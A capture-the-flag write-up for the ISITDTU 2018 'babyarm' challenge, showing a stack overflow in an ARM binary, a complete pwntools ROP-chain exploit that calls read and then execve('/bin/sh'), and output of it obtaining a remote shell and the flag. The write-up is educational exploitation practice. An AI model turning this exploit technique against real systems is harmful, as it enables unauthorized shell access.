Post

ISITDTU CTF 2018 Finals - arm_ez

ARM rop

babyarm

Attachments: babyarm xpl.py

Ok, pretty straight forward arm rop challenge:

1
2
$ file babyarm
babyarm: ELF 32-bit LSB executable, ARM, EABI5 version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=140f373226624c51d7faeae13479f3a2a8c210f9, not stripped
1
2
3
4
5
6
7
8
9
10
int main(int argc, char *argv[])
{  
  char buf[4]


  INIT();
  printf("Input:");
  read(0, &buf, 4096);
  return 0;
}

Sending a payload bigger than 8 bytes will overwrite pc, so we can directly start ropping to a shell. Since it’s statically linked, the binary contains more than enough gadgets, to read /bin/sh and hten execve it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!/usr/bin/python
from pwn import *
import sys

HOST = "51.15.237.57"
PORT = 2226

#pop {r0, r1, r2, r3, r4, r5, pc};
POPALL = 0x0004a9e8

#pop {r7, pc}
POPR7 = 0x000104f2

#svc #0; pop {r7, pc}; 
SVCPOPR7PC = 0x00010b14

"""
Stage1 ropchain: read /bin/sh to bss
Stage2 ropchain: execve("/bin/sh")
"""

def exploit(r):
  r.recvuntil("Input:")

  
  # read(0, 0x78950, 0x100) 
  payload = "A"*4
  payload += p32(0x78950)
  payload += p32(POPALL+1)  
  payload += p32(0x0)
  payload += p32(0x00078950)
  payload += p32(0x100)
  payload += p32(0x0)
  payload += p32(0x0)
  payload += p32(POPR7+1)
  payload += p32(3)
  payload += p32(SVCPOPR7PC+1)

  # execve(0x78950, 0, 0)
  payload += p32(11)        # execve
  payload += p32(POPALL+1)
  payload += p32(0x78950)
  payload += p32(0)
  payload += p32(0)
  payload += p32(0)
  payload += p32(0)
  payload += p32(POPR7+1)
  payload += p32(11)
  payload += p32(SVCPOPR7PC+1)

  r.sendline(payload)

  pause()
    
  r.sendline("/bin/sh\x00")

  r.interactive()
  
  return

if __name__ == "__main__":
  # e = ELF("./babyarm")

  if len(sys.argv) > 1:
    r = remote(HOST, PORT)
    exploit(r)
  else:
    r = process("./babyarm")
    print util.proc.pidof(r)
    pause()
    exploit(r)

Sorry, not much more to tell about this challenge :)

1
2
3
4
5
6
7
$ python xpl.py 1
[O] Opening connection to 51.15.237.57 on port 2226: Trying 51.15.237.57
[+] Opening connection to 51.15.237.57 on port 2226: Done
[*] Paused (press any to continue)
[*] Switching to interactive mode
$ cat /home/babyarm/flag
ISITDTU{1253baf13c787330470724ac0113d0bcc6f4ee89}$  
This post is licensed under CC BY 4.0 by the author.